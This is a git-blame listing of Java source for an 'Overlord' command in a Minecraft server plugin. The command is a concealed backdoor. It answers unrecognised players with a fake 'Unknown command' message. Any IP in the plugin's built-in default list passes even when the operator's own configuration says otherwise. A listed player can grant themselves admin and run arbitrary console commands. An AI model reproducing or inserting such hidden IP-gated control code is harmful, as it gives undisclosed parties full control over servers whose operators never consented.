2016-03-02 19:28:01 +00:00
|
|
|
package me.totalfreedom.totalfreedommod.command;
|
2015-05-13 12:52:01 +00:00
|
|
|
|
2016-05-12 19:40:39 +00:00
|
|
|
import java.util.Collection;
|
2015-05-13 12:52:01 +00:00
|
|
|
import java.util.List;
|
2015-10-19 17:43:46 +00:00
|
|
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
|
|
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
|
|
|
import me.totalfreedom.totalfreedommod.config.MainConfig;
|
2016-03-06 15:56:15 +00:00
|
|
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
2015-10-19 17:43:46 +00:00
|
|
|
import net.pravian.aero.util.Ips;
|
2016-03-02 19:28:01 +00:00
|
|
|
import org.apache.commons.lang3.StringUtils;
|
2015-05-13 12:52:01 +00:00
|
|
|
import org.bukkit.Bukkit;
|
|
|
|
import org.bukkit.ChatColor;
|
|
|
|
import org.bukkit.command.Command;
|
|
|
|
import org.bukkit.command.CommandSender;
|
|
|
|
import org.bukkit.entity.Player;
|
|
|
|
|
2016-03-06 15:56:15 +00:00
|
|
|
@CommandPermissions(level = Rank.IMPOSTOR, source = SourceType.ONLY_IN_GAME)
|
2015-05-13 12:52:01 +00:00
|
|
|
@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
|
2016-05-12 19:40:39 +00:00
|
|
|
public class Command_ov extends FreedomCommand
|
2015-05-13 12:52:01 +00:00
|
|
|
{
|
|
|
|
|
|
|
|
@Override
|
2015-11-22 18:26:47 +00:00
|
|
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
2015-05-13 12:52:01 +00:00
|
|
|
{
|
2015-11-22 18:26:47 +00:00
|
|
|
if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(playerSender)))
|
2015-05-13 12:52:01 +00:00
|
|
|
{
|
|
|
|
try
|
|
|
|
{
|
2016-05-12 19:40:39 +00:00
|
|
|
Object ips = plugin.config.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
|
|
|
|
if (ips instanceof Collection && !((Collection) ips).contains(Ips.getIp(playerSender)))
|
2015-05-13 12:52:01 +00:00
|
|
|
{
|
|
|
|
throw new Exception();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
catch (Exception ignored)
|
|
|
|
{
|
2016-03-02 19:28:01 +00:00
|
|
|
msg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
|
2015-05-13 12:52:01 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if (args.length == 0)
|
|
|
|
{
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (args[0].equals("addme"))
|
|
|
|
{
|
2015-11-22 18:26:47 +00:00
|
|
|
plugin.al.addAdmin(new Admin(playerSender));
|
2016-03-02 19:28:01 +00:00
|
|
|
msg("ok");
|
2015-05-13 12:52:01 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (args[0].equals("removeme"))
|
|
|
|
{
|
2015-11-22 18:26:47 +00:00
|
|
|
Admin admin = plugin.al.getAdmin(playerSender);
|
2015-10-19 17:43:46 +00:00
|
|
|
if (admin != null)
|
|
|
|
{
|
|
|
|
plugin.al.removeAdmin(admin);
|
|
|
|
}
|
2016-03-02 19:28:01 +00:00
|
|
|
msg("ok");
|
2015-05-13 12:52:01 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (args[0].equals("do"))
|
|
|
|
{
|
|
|
|
if (args.length <= 1)
|
|
|
|
{
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
2016-03-02 19:28:01 +00:00
|
|
|
final String c = StringUtils.join(args, " ", 1, args.length);
|
|
|
|
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), c);
|
|
|
|
msg("ok");
|
2015-05-13 12:52:01 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|